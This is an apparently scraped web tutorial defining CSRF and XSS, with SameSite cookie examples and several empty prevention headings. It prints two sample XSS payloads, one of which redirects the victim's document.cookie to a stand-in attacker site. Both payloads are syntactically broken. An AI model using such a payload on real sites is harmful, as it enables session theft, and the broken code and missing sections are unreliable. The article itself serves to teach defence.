Open In App

How to Reduce Risk of Exposure to CSRF, XSRF, or XSS Attacks?

Cross-Site Request Forgery (CSRF) is a Web application security vulnerability where an attacker tricks end-users into performing unwanted actions in which the user is logged in. CSRF has others name like XSRF, sea surf, session riding, cross-site reference forgery, and hostile linking. With the help of social engineering, an attacker can trick the victim of a web application into executing malicious actions of the attacker’s choosing. 

If the victim is a normal user, then a successful csrf attack can perform state-changing requests like transferring money, changing email, changing the mobile number, etc. by users self. If the victim is the administrator of that web application, then the whole web application may compromise.



 

Cross-site scripting is also known as XSS. it is a very popular, dangerous, and favorable vulnerability of most of the Bug Hunters. XSS is a web security vulnerability that allows an attacker to fully compromise the vulnerable web application. if the victim is high privileged within a vulnerable site then the attacker can get full control of that site. 

The main purpose of XSS vulnerabilities is to steal the credentials of the victim. An XSS vulnerability is mainly a javascript technique. This vulnerability happens because of Developer didn’t pay attention to the user input filter.



Types of XSS:

 A simple XSS payload looks like this:

<script>alert(document.cookies())</script>
<script>document.location.href=”
attackers.website/cookie=”>+document.cookie</script>

Prevention of CSRF and XSS:

 Anti-CSRF Tokens: 

Same Site cookies:

Set-Cookie: SessionId=NJCVnjnfCUrAfjoKkojDOOknKOkncKfmKDm; 
SameSite=Strict; 
Set-Cookie: SessionId=NJCVnjnfCUrAfjoKkojDOOknKOkncKfmKDm; 
SameSite=Lax;

XSS Prevention Techniques:

Reducing the Risk of Exposure:

Article Tags :